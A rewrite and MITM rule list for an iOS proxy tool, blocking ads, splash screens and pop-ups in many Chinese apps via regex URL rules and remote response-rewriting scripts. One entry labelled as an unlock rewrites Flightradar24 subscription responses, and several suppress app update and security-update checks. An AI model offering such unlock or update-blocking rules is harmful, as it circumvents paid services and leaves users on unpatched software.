url reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+?\/getStartSend url reject-img +^https?:\/\/capi\.douyucdn\.cn\/lapi\/sign\/app(api)?\/getinfo\?client_sys=ios url reject +^https?:\/\/capi\.douyucdn\.cn\/api\/ios_app\/check_update url reject-img +^https?:\/\/capi\.douyucdn\.cn\/api\/v1\/getStartSend?client_sys=ios url reject-img +^https?:\/\/douyucdn\.cn\/.+\/appapi\/getinfo url reject +^https?:\/\/douyucdn\.cn\/.+?\/appapi\/getinfo url reject-img + +# > 当当阅读 +# hostname = e.dangdang.com, api.dangdang.com, mapi.dangdang.com +^https?:\/\/e\.dangdang\.com\/media\/api.+\?action=getDeviceStartPage url reject +^https?:\/\/e\.dangdang\.com\/.+?getDeviceStartPage url reject +^https?:\/\/api\.dangdang\.com\/mapi\d\/mobile\/init url reject +^https?:\/\/mapi\.dangdang\.com\/index\.php\?action=init url reject + +# > 叮咚买菜 +# hostname = maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi +# 开屏广告 +^https?:\/\/maicai\.api\.ddxq\.mobi\/advert\/ url reject +# 首页弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/getHomeAdPop url reject +# VIP开通弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/vip\/getVipAd url reject-dict +# 首页悬浮窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/newDetails url response-body suspension response-body random_body +# 首页推荐流优化,AI栏去除,右下角浮标 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/(?>bottomNavi|homeFlowDetail) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 右下角AI +^https?:\/\/maicai\.api\.ddxq\.mobi\/tool\/getConfig url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 我的页VIP栏净化 +^https?:\/\/gw\.api\.ddxq\.mobi\/vip-app-service\/vip\/my\/page\/advertising url reject +# 我的页弹窗(暂未启用) +^https:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/queryMyPagePopup url reject-dict +# 我的页-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/userLike url reject-dict +# 我的页净化 +^https?:\/\/user\.api\.ddxq\.mobi\/userportal-service\/api\/v\d\/user\/queryMyPage url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 购物车顶部VIP横条 +^https?:\/\/maicai\.api\.ddxq\.mobi\/cart\/vipGuide url reject-dict +# 购物车-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/order\/getRecommend url reject-dict + +# > 叮嗒出行 +# hostname = img.admobile.top, webcdn.m.qq.com +^https?:\/\/img\.admobile\.top\/admobile-adRequest\/.*.(jpg|png) url reject-200 +^https?:\/\/webcdn\.m\.qq\.com\/qiantu\/upload\/202[0-9]{5}\/.*.(jpg|png) url reject-200 + +# > 东方财富 +# hostname = emdcadvertise.eastmoney.com +^https?:\/\/emdcadvertise\.eastmoney\.com\/infoService\/v\d url reject + +# > 东方航空 +# hostname = app.ceair.com +^https?:\/\/app\.ceair\.com\/customize\/security\/update url reject-200 +^https?:\/\/app\.ceair\.com\/customize\/main\/adScreen url reject-dict + +# > 懂球帝 +# hostname = ap.dongqiudi.com +^https?:\/\/ap\.dongqiudi\.com\/plat\/v url reject + +# > 丁香医生 +# hostname = dxy.com +^https?:\/\/dxy\.com\/app\/i\/ask\/biz\/feed\/launch url reject + +# > 丁香园 +# hostname = dq.dxy.cn +^https?:\/\/dq\.dxy\.cn\/api\.php\?action=getpostbanners url reject + +# > 钉钉 +# hostname = gw.alicdn.com, img.alicdn.com +# 误杀少 解决阿里系的开屏 目前测试咸鱼/钉钉 感谢【zzzzzz】分享 +^https?:\/\/(gw|img)\.alicdn\.com\/imgextra\/.+\/[\w!]+\d+-\d+-.+-\b([8-9]\d{2,}|[1-9]\d{3,})\b-\b([5-9]\d{2,}|[1-9]\d{3,})\b url reject-dict + +# > 动画疯 +# hostname = api.gamer.com.tw +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d\/anime_get_question\.php url reject-dict +# (黑屏25秒) +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d/(token|m3u8).php\? url script-response-body https://raw.githubusercontent.com/NobyDa/Script/master/Bahamut/BahamutAnimeAds.js + +# > 滴滴出行 +# hostname = res.xiaojukeji.com, common.diditaxi.com.cn, hd.xiaojukeji.com, freight.xiaojukeji.com, daijia.kuaidadi.com, ct.xiaojukeji.com, conf.diditaxi.com.cn +^https?:\/\/hd\.xiaojukeji\.com\/d url reject-dict +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/freight\.xiaojukeji\.com\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/xpget url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/other\/fast url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +#^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/core url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/conf\.diditaxi\.com\.cn\/dynamic\/conf url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/common\.diditaxi\.com\.cn\/common\/v\d\/usercenter\/me url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/daijia\.kuaidadi\.com\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/daijia\.kuaidadi\.com:443\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +# 微信小程序个人中心净化 感谢【TEXAS】分享 +^https?:\/\/common\.diditaxi\.com\.cn\/common\/v5 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js + +# > 滴滴青桔 +# hostname = pt-starimg.didistatic.com, omgup*.xiaojukeji.com +^https?:\/\/pt-starimg\.didistatic\.com\/static\/starimg\/node\/.*.(jpg|png|gif) url reject-200 +^https?:\/\/omgup[0-9]{1}\.xiaojukeji\.com\/api url reject-200 + +# > 滴滴代驾小程序 +# hostname = daijia.kuaidadi.com, as.xiaojukeji.com +# 横幅广告 +^https?:\/\/as\.xiaojukeji\.com\/ep\/as\/conf\?ns=daijia-front&name= url reject-dict +^https?:\/\/daijia\.kuaidadi\.com\/gateway\?api=prado\.cms\.delivery\.batch&apiVe url reject-dict + +# > 嘀嗒出行 +# hostname = capis*.didapinche.com, adx-cn.anythinktech.com, www.didapinche.com +# 小程序净化 +^https?:\/\/capis(-\d)?\.didapinche\.com\/adbase url reject +^https?:\/\/capis(-\d)?\.didapinche\.com\/ad\/ url reject +^https?:\/\/adx-cn\.anythinktech\.com\/bid url reject-dict +^https?:\/\/capis(-?\w*)?\.didapinche\.com\/publish\/api\/upgrade url reject-dict +^https?:\/\/www\.didapinche\.com\/app\/adstat\/ url reject-200 + +# > 得物 +# hostname = app.dewu.com, cdn.poizon.com +# 开屏广告 【Runestoner】分享 +^https?:\/\/app\.dewu\.com\/api\/v1\/app\/advertisement url reject +^https?:\/\/cdn\.poizon\.com\/node-common\/.*.jpg url reject-200 + +# > 电E宝 +# hostname = app.95598pay.com +^https?:\/\/app\.95598pay\.com\/debapi\/adsite\/ url reject-200 + +# > 电视家 +# hostname = api.gaoqingdianshi.com, cdn.dianshihome.com +^https?:\/\/api\.gaoqingdianshi\.com\/api\/v\d\/ad\/ url reject +^https?:\/\/cdn\.dianshihome\.com\/static\/ad\/ url reject + +# > 盯盯拍 +# hostname = *.pglstatp-toutiao.com, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, apphw.ddpai.com +^https?:\/\/.*\.pglstatp-toutiao\.com\/.*ad.* url reject +^https?:\/\/api\.htp\.ad-scope\.com\.cn.* url reject +^https?:\/\/appgw\.ddpai\.com.*\/ad\/list.* url reject +^https?:\/\/init\.sms\.mob\.com\/.*sdk\/init.* url reject +^https?:\/\/apphw\.ddpai\.com:\d+\/onroad\/api\/v\d\/\w+\/list url reject-dict + +# > 电影猎手 +# hostname = app-v1.ecoliving168.com +^https:\/\/app-v1\.ecoliving168\.com\/api\/v1\/movie\/index_recommend\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/dianyinglieshou.js + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< +# > e代驾 +# hostname = pic.edaijia.cn +^https?:\/\/pic\.edaijia\.cn\/adsplash\/ url reject-200 + +# > e充电 +# hostname = cdn-evone-ceph.echargenet.com +^https?:\/\/cdn-evone-ceph\.echargenet\.com\/gw-emas-cdn\/63c4e3b558bb610008969f89 url reject-200 + +# > 饿了么 +# hostname = elemecdn.com, fuss10.elemecdn.com, cube.elemecdn.com, www1.elecfans.com, nr-op.elemecdn.com +# 开屏广告 +^https?:\/\/elemecdn\.com\/.+\/sitemap url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/640\/h\/\d{3,4} url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+\/w\/750\/h\/\d{3,4} url reject +^https?:\/\/fuss10\.elemecdn\.com\/.+?\.mp4 url reject-img +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_1\d{3},h_2\d{3}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_6\d{2},h_8\d{2}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/[\w\/]+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{3},h_\d{4}\/format,webp\/ url reject +^https?:\/\/cube\.elemecdn\.com\/\w\/\w{2}\/\w+mp4\.mp4\? url reject +^https?:\/\/www1\.elecfans\.com\/www\/delivery\/ url reject +^https?:\/\/(nr-op|cube)\.elemecdn\.com\/.+\.jpeg\?x-oss-process=image\/resize,m_fill,w_\d{4,},h_\d{4,}\/($|format,webp\/$) url reject + +# > EMS微信小程序 +# hostname = ec.ems.com.cn, ump.ems.com.cn +^https?:\/\/ec\.ems\.com\.cn\/mailAd$ url reject +^https?:\/\/ec\.ems\.com\.cn\/ecr-exp-web\/advert url reject +^https?:\/\/ec\.ems\.com\.cn\/ecr-qry-web\/redis\/pageInfoByChannel url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/wechatApplet.js +^https?:\/\/ump\.ems\.com\.cn\/mailAd$ url reject +^https?:\/\/ump\.ems\.com\.cn\/new-generation-extend\/redis\/pageInfoByChannel url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/wechatApplet.js + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > Flightradar24 +# hostname = mobile.flightradar24.com +# 解锁 +^https?:\/\/mobile\.flightradar24\.com\/mobile\/(user-session|subscribe) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Flightradar24.js + +# > 飞猪 + 阿里巴巴 +# hostname = acs.m.taobao.com, gw.alicdn.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources\/1\.0\?type=originaljson url reject-img +^https?:\/\/gw\.alicdn\.com\/mt\/ url reject +^https?:\/\/gw\.alicdn\.com\/imgextra\/\w{2}\/[\w!]+-\d-tps-\d{3}-\d{4}\.(jpg|png)$ url reject + +# > 飞常准 +# hostname = app.variflight.com +^https?:\/\/app\.variflight\.com\/ad\/ url reject +^https?:\/\/app\.variflight\.com\/v\d\/advert\/ url reject + +# > 飞客茶馆 +# hostname = ptf.flyertrip.com, 47.100.65.202, www.flyert.com +^https?:\/\/ptf\.flyertrip\.com\/common\/cf\/.*.jpg url reject-200 +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=advis url reject +^https?:\/\/47\.100\.65\.202\/api\/mobile\/index\.php\?version=\d&mobile=yes&module=basicdata&type=forumlist url response-body adv response-body fmz200 +^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=threadpost&.+?&page=1 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fly.js +^https?:\/\/www\.flyert\.com\/.*\.php\?module=advis url reject-dict +^https?:\/\/www\.flyert\.com(\.cn)?\/.*\.php\?module=advis url reject-dict +^https?:\/\/www\.flyert\.com(\.cn)?\/.*plugin url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/flyert.js + +# 飞智游戏厅 +# hostname = api.flydigi.com +# 开屏 需要卸载重装 +^https:\/\/api\.flydigi\.com\/android\/v2\/ad url reject-dict + +# > 番茄小说 +# hostname = *.pangolin-sdk-toutiao.com, *.pangolin-sdk-toutiao.*, *.pstatp.com, *.pstatp.com.*, *.pglstatp-toutiao.com.*, *.pglstatp-toutiao.com, gurd.snssdk.com, gurd.snssdk.com.*, i-lq.snssdk.com, i-lq.snssdk.com.*, *default.ixigua.com +# 去章末广告 +^https?:\/\/.+\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/(get_ads|stats|settings)\/ url reject +^https?:\/\/.+\.pglstatp-toutiao\.com\/.+\/toutiao\.mp4 url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/(ad-app-package|ad)\/.+ url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/(obj|img)\/web\.business\.image\/.+ url reject +^https?:\/\/.+\.(pglstatp-toutiao|pstatp)\.com\/obj\/ad-pattern\/renderer url reject +^https?:\/\/gurd\.snssdk\.com\/src\/server\/v3\/package url reject +^https?:\/\/.+\.byteimg.com/tos-cn-i-1yzifmftcy\/(.+)-jpeg\.jpeg url reject +^https?:\/\/.+\.pstatp\.com\/obj\/mosaic-legacy\/.+\?from\=ad url reject +^https?:\/\/.+\.pstatp\.com\/bytecom\/resource\/track_log\/src\/.+ url reject +^https?:\/\/.+\.snssdk\.com\/video\/play\/1\/toutiao\/.+\/mp4 url reject +^https?:\/\/.+\.snssdk.com\/api\/ad\/.+ url reject +^https?:\/\/.+\.byteimg\.com\/ad-app-package url reject +^https?:\/\/.+\.byteimg\.com\/web\.business\.image url reject + +# > 樊登读书 +# hostname = gateway-api.dushu365.com +^https?:\/\/gateway-api\.dushu365\.com\/chief-orch\/config\/config\/v100\/appConfig url reject + +# > 丰巢 +# hostname = external.fcbox.com, dsp.fcbox.com, consumer.fcbox.com +^https:\/\/dsp\.fcbox\.com\/adSearch\/get\? url reject +^https:\/\/external\.fcbox\.com\/wxgw\/post\/suggestion\/query url reject +# consumer.fcbox.com 已无法MITM +^https?:\/\/consumer\.fcbox\.com\/v\d\/ad\/ url reject + +# > 凤凰秀 +# hostname = dsa-mfp.fengshows.cn, api.fengshows.com +^https?:\/\/dsa-mfp\.fengshows\.cn\/mfp\/mfpMultipleDelivery\.do\?.+?adunitid url reject +^https?:\/\/api\.fengshows\.com\/api\/launchAD url reject-img + +# > 富途牛牛 +# hostname = api*.futunn.com +# 我的横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/optimus\/my-homepage-config url reject-dict +# 账户和交易横幅广告 +^https?:\/\/api\.futunn\.com\/v2\/config\/promote-config url reject-dict +^https?:\/\/api\d\.futunn\.com\/ad\/ url reject +^https?:\/\/api\.futunn\.com\/v\d\/ad\/ url reject +# 首页右下角角标 +^https?:\/\/api\.futunn\.com\/treasure-chest\/box-data url reject + +# > 分期乐 +# hostname = fm.fenqile.com +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/getfloatAd\.json url reject-img +^https?:\/\/fm\.fenqile\.com\/routev2\/other\/startImg\.json url reject-img + +# > 返利网 +# hostname = l*.51fanli.net +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/0[4-9]{1}\/.*.jpg url reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/2022\/1[0-2]{1}\/.*.jpg url reject-200 +^https?:\/\/l[0-9]{1}\.51fanli\.net\/app\/images\/splash\/202\d{1}\/\d{2}\/.*.jpg url reject-200 + +# > 发现精彩 +# hostname = static.95508.com +# 开屏广告 +^https?:\/\/static\.95508\.com\/mmg\/images\/ads\/.+\/(.+1125?.+2436|.+%.+%|.+_.+_) url reject-dict +^https?:\/\/static\.95508\.com\/mmg\/ciop\/sysabbr\/cmep\/images\/apppopupads url reject-dict + +# > 粉笔 +# hostname = tiku.fenbi.com +# 开屏广告 +^https?:\/\/tiku\.fenbi\.com\/activity\/app\/launcher\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fenbi.js + +# > 福享太平 +# hostname = ecloud.tppension.cntaiping.com +# 去开屏广告 +^https:\/\/ecloud\.tppension\.cntaiping\.com\/fxtpplatform\/common\/anonymous\/common\/page\/queryStartPageNew\?language=zh-CN url reject-dict + +# > 复游会微信小程序 +# hostname = apis.folidaymall.com +^https?:\/\/apis\.folidaymall\.com\/online\/capi\/component\/getPageComponents url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/foliday.js + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > 工商银行 +# hostname = v.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/v\.icbc\.com\.cn\/userfiles\/Resources\/WAP\/advertisement\/ url reject-200 + +# > 工银E生活 +# hostname = pv.elife.icbc.com.cn +^https?:\/\/pv\.elife\.icbc\.com\.cn\/OFSTPV\/utm\.gif url reject-200 + +# > 工银e生活小程序 +# hostname = elife.icbc.com.cn +# 如开启可自行添加主机名 +^https?:\/\/elife\.icbc\.com\.cn\/OFSTNEWBASE\/floorinfo\/getMantlePages\.do url reject-200 + +# > 广发银行 +# hostname = static.95508.com, mps.95508.com +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/accurate\/202\d{5}\/.*.(png|jpg) url reject-200 +^https?:\/\/static\.95508\.com\/icppweb\/images\/modelMaterial\/advertising\/202\d{5}\/.*.(png|jpg) url reject-200 +^https?:\/\/mps\.95508\.com\/mps\/club\/cardPortals\/adv\/\d{25}\.(png|jpg) url reject-img + +# > 广州农商银行 +# hostname = mbank.grcbank.com +^https?:\/\/mbank\.grcbank\.com\/ydyh\/resources\/startpage\/.*.(jpg|png) url reject-200 + +# > 广汽传祺 +# hostname = gsp.gacmotor.com +# 开屏广告 感谢【Charlie】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/webapi\/baseinfo\/advertise\/getAdvertiseByPositionCode\?positionCode=1 url reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/gsp\.gacmotor\.com\/gateway\/app-api\/app\/version\/latestupdate\?flatform=2&innerVersion= url reject-dict + +# > 国泰君安 +# hostname = dl.app.gtja.com, dl*.app.gtja.com +^https?:\/\/dl\.app\.gtja\.com\/dzswem\/kvController url reject-200 +#^https?:\/\/dl[0-9]{1}\.app\.gtja\.com\/dzswem\/kvController url reject-200 + +# > 国家医保服务平台 +# hostname = fuwu.nhsa.gov.cn +# 开屏广告 +^https?:\/\/fuwu\.nhsa\.gov\.cn\/ebus\/fuwu\/api\/base\/cms\/iep\/web\/cms\/hmpgcfg\/queryAppHmpgCfgByApp url reject + +# > 高德地图 +# hostname = m*.amap.com, optimus-ads.amap.com +^https?:\/\/m5\.amap\.com\/ws\/shield\/dsp\/app\/startup\/init\? url reject-dict +^https?:\/\/m5\.amap\.com\/ws\/valueadded\/ url reject +^https?://optimus-ads.amap.com/uploadimg/[a-zA-Z0-9]+.gif url reject-200 + +# > 谷歌 +# hostname = *.googleapis.com, pagead2.googlesyndication.com +# 如开启可自行添加主机名,但似乎已不可MITM +^https?:\/\/.+\.googleapis.com/.+ad_break url reject-img +^https?:\/\/.+\.googleapis.com/.+log_event url reject-img +^https?:\/\/.+\.googleapis.com/adsmeasurement url reject-img +^https?:\/\/pagead2\.googlesyndication\.com\/pagead\/ url reject-img + +# > 挂号网(微医) +# hostname = kano.guahao.cn, app.wy.guahao.com +^https?:\/\/kano\.guahao\.cn\/[a-zA-Z0-9]{12} url reject-200 +^https?:\/\/kano\.guahao\.cn\/.+?\?resize=\d{3}-\d{4} url reject-img +^https?:\/\/app\.wy\.guahao\.com\/json\/white\/dayquestion\/getpopad url reject + +# > 国美电器 +# hostname = prom.mobile.gome.com.cn +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/\w+\.jsp url reject +^https?:\/\/prom\.mobile\.gome\.com\.cn\/mobile\/promotion\/promscms\/sale\w+\.jsp url reject + +# > 故宫博物馆小程序 +# hostname = gugongmini.dpm.org.cn +# 开屏广告 +^https?:\/\/gugongmini\.dpm\.org\.cn\/gugong_applet\/open-screen url reject-dict + +# > 怪兽充电 +# hostname = awg.enmonster.com +https?:\/\/awg\.enmonster\.com\/apa\/(advert\/demand\/home\/poster|index\/advert\/skin) url reject-dict + +# > 盖得排行 +# hostname = zone.guiderank-app.com +^https?:\/\/zone\.guiderank-app\.com\/guiderank-web\/app\/ad\/listLaunchADByCity\.do url reject + +# > 冠寓 +# hostname = guanyu.longfor.com +# 开屏广告 +^https?:\/\/guanyu\.longfor\.com\/app-server\/api\/v1\/main\/start url reject + +# > 广汽本田 +# hostname = gha.ghac.cn +# ^https?:\/\/gha\.ghac\.cn\:8081\/base\/app\/api\/ad\/query\?adType=1 url reject-200 + +# > 怪兽充电 微信小程序 +# hostname = aag.enmonster.com +^https?:\/\/aag\.enmonster\.com\/apa\/index\/advert\/skin url reject + +# > 工时记录 +# hostname = yun.tuitiger.com, mi.gdt.qq.com, open.e.kuaishou.com +^https?:\/\/yun\.tuitiger\.com\/mami-media url reject-200 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg url reject +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ url reject + +# > 高铁管家 +# hostname = cdn.133.cn, jt.rsscc.com, jp.rsscc.com +^https?:\/\/cdn\.133\.cn\/md\/gtgj\/.+\/.+720x1280 url reject-dict +^https?:\/\/[a-z]*\.rsscc\.com\/[a-z]*\/adver url reject + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 哈富证券 +# hostname = emisdatacenteraws.hafoo.com +# 横幅广告 +^https:\/\/emisdatacenteraws\.hafoo\.com\/ad\/api\/v2\/appMarket url reject-dict + +# > 华彩生活 +# hostname = static.creditcard.hxb.com.cn +^https?:\/\/static\.creditcard\.hxb\.com\.cn\/mcube\/apps\/group\d\/M00\/00\/2[A-Z0-9]{1}\/amRG7WO.+\.jpg url reject-200 + +# > 华尔街见闻 +# hostname = api-one-wscn.awtmt.com, api.wallstreetcn.com +# 开屏广告 感谢【Joe Joy】分享 +^https?:\/\/api-one-wscn\.awtmt\.com\/apiv1\/advertising\/ads\/13424\/materials url reject-dict +^https?:\/\/api\.wallstreetcn\.com\/apiv\d\/advertising\/ url reject + +# > 虎牙直播 +# hostname = cdn.wup.huya.com, business.msstatic.com, cdnfile1.msstatic.com, live-ads.huya.com +^https?:\/\/cdn\.wup\.huya\.com\/launch\/queryHttpDns$ url reject +^https?:\/\/business\.msstatic\.com\/advertiser\/material url reject +^https?:\/\/cdnfile1\.msstatic\.com\/cdnfile\/appad\/ url reject-img +^https?://live-ads\.huya\.com/live/getAllEntrance.*$ url reject-dict + +# > 华住会 +# hostname = appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com +# 开屏广告 +^https?:\/\/appapi\.huazhu\.com:\d+\/client\/app\/getAppStartPage\/ url reject +# 推荐信息 +^https?:\/\/hweb-hotel\.huazhu\.com\/home\/queryRecommond url reject-dict +# 新客专享: queryNewNotice | 天天特惠四方格: querySelectHotel | 华住品牌: queryHotelBrand | 华住商城: queryMall | 华住世界: huazhuWorld +^https?:\/\/hweb-hotel\.huazhu\.com\/{1,2}home\/(?>queryNewNotice|querySelectHotel|queryHotelBrand|queryMall|huazhuWorld) url reject-200 +# 弹窗广告 +^https?:\/\/hweb-manager\.huazhu\.com\/notice\/getAppPopupNotifyAlert url reject-dict +# 更新屏蔽 +^https?:\/\/hweb-manager\.huazhu\.com\/bundle\/upgrade\/check url reject-dict +# 搜索酒店上方Banner +^https?:\/\/hweb-manager\.huazhu\.com\/hotels\/ad\/ url reject-dict + +# > 韩剧TV +# hostname = gfp.veta.naver.com, api.hanju.koudaibaobao.com +^https?:\/\/gfp\.veta\.naver\.com\/adcall\? url reject +^https?:\/\/api\.hanju\.koudaibaobao\.com\/api\/carp\/kp\? url reject + +# > 好奇心日报 +# hostname = notch.qdaily.com, app3.qdaily.com +^https?:\/\/notch\.qdaily\.com\/api\/v\d\/boot_ad url reject +^https?:\/\/app3\.qdaily\.com\/app3\/boot_advertisements\.json url reject + +# > 好好住 +# hostname = api.haohaozhu.cn +^https?:\/\/api\.haohaozhu\.cn\/index\.php\/home\/AppInit\/getStartPhoto url reject + +# > 火猫 +# hostname = api.huomao.com +^https?:\/\/api\.huomao\.com\/channels\/loginAd url reject + +# > 花生地铁 +# hostname = cmsapi.wifi8.com, cmsfile.wifi8.com +^https?:\/\/cmsapi\.wifi8\.com\/v\d\/(emptyAd|adNew)\/ url reject +^https?:\/\/cmsfile\.wifi8\.com\/uploads\/png\/ url reject-img + +# > 花小猪 +# hostname = res.hongyibo.com.cn +# 开屏 +^https?:\/\/res\.hongyibo\.com\.cn\/os\/gs\/resapi\/activity\/mget\?_t url reject-dict + +# > 虎扑 +# hostname = games.mobileapi.hupu.com, du.hupucdn.com, i*.hoopchina.com.cn, goblin.hupu.com +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(interfaceAdMonitor|interfaceAd)\/ url reject +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/(search|interfaceAdMonitor|status|hupuBbsPm)/(hotkey|init|hupuBbsPm)\. url reject-img +^https?:\/\/games\.mobileapi\.hupu\.com\/.+?\/status\/init url reject +^https?:\/\/games\.mobileapi\.hupu\.com\/\d\/(?:\d\.){2}\d\/status\/init url reject +^https?:\/\/du\.hupucdn\.com\/\w+h\d{4} url reject-img +^https?:\/\/i\d\.hoopchina\.com\.cn/blogfile\//d+\//d+\/BbsImg\.(?<=(big.(png|jpg)))$ url reject-img +^https?:\/\/goblin\.hupu\.com\/.+\/interfaceAd\/getOther url reject +^https?:\/\/i1\.hoopchina\.com\.cn\/blogfile\/.+_\d{3}x\d{4} url reject-img + +# > 杭州市民 +# hostname = ads.iconntech.com, smkmp.96225.com +^https?:\/\/ads\.iconntech\.com\/resource-delivery\/*\/.*.(jpg|png) url reject-200 +^https?:\/\/smkmp\.96225\.com\/smkcenter\/ad/ url reject + +# > 杭州公交 +# hostname = m.ibuscloud.com +^https?:\/\/m\.ibuscloud\.com\/v\d\/app\/getStartPage url reject + +# > 红版报 +# hostname = fbchina.flipchina.cn +^https?:\/\/fbchina\.flipchina\.cn\/v\d\/ad\/query url reject + +# > 虎嗅 +# hostname = api-ad-product.huxiu.com +^https?:\/\/api-ad-product\.huxiu\.com\/Api\/Product\/SDK\/Advert\/Query\/queryAdvertListInfo url reject + +# > 黄油相机 +# hostname = api4.bybutter.com +^https?:\/\/api4\.bybutter\.com\/v\d\/app\/placements\/\d\/advertisements url reject + +# > 华宝智投 +# hostname = api.touker.com +^https?:\/\/api\.touker\.com\/v2\/IAdvertisementAPI\.queryStartAdvertisement url reject-200 + +# > 航旅纵横 +# hostname = home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com +^http?:\/\/(discardrp|startup)\.umetrip\.com\/gateway\/api\/umetrip\/native url reject +^http?:\/\/(114\.115\.217\.129)|(home\.umetrip\.com)\/gateway\/api\/umetrip\/native$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/umetrip/umetrip_ads.js + +# > 汇丰汇选 +# hostname = m.prod.app.hsbcfts.com.cn +# 屏蔽升级弹窗 感谢【Charlie】分享 +^https?:\/\/m\.prod\.app\.hsbcfts\.com\.cn\/api\/sapp\/biz\/config\/open\/queryappversion\?channelCode= url reject-dict + +# > 和风天气 +# hostname = hfapp-service.qweather.net +# 感谢【可莉】分享 +^https?:\/\/hfapp-service\.qweather\.net\/v\d\.\d\/app\/ad\/list\? url reject-dict + +# > 合利宝展业通 +# hostname = promote-trx.helipay.com +^https?:\/\/promote-trx\.helipay\.com\/promote-business-client\/pos\/appAdvertisement\/appAdvertisementList url reject-200 + +# > 盒马 +# hostname = acs.m.taobao.com, acs-m.freshippo.com +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.hippotown\.tabbar\.info url reject 